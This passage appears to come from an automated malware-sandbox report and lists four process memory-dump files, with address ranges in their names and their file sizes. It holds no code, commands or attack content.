                                                                                                                                                                                                                                              • memory/4852-254-0x0000000140000000-0x0000000141064000-memory.dmp

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                16.4MB

                                                                                                                                                                                                                                              • memory/5012-245-0x00007FFC444E0000-0x00007FFC44FA1000-memory.dmp

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                                                              • memory/5012-227-0x00007FFC444E0000-0x00007FFC44FA1000-memory.dmp

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                10.8MB

                                                                                                                                                                                                                                              • memory/5012-228-0x0000019FA44A0000-0x0000019FA44C2000-memory.dmp

                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                136KB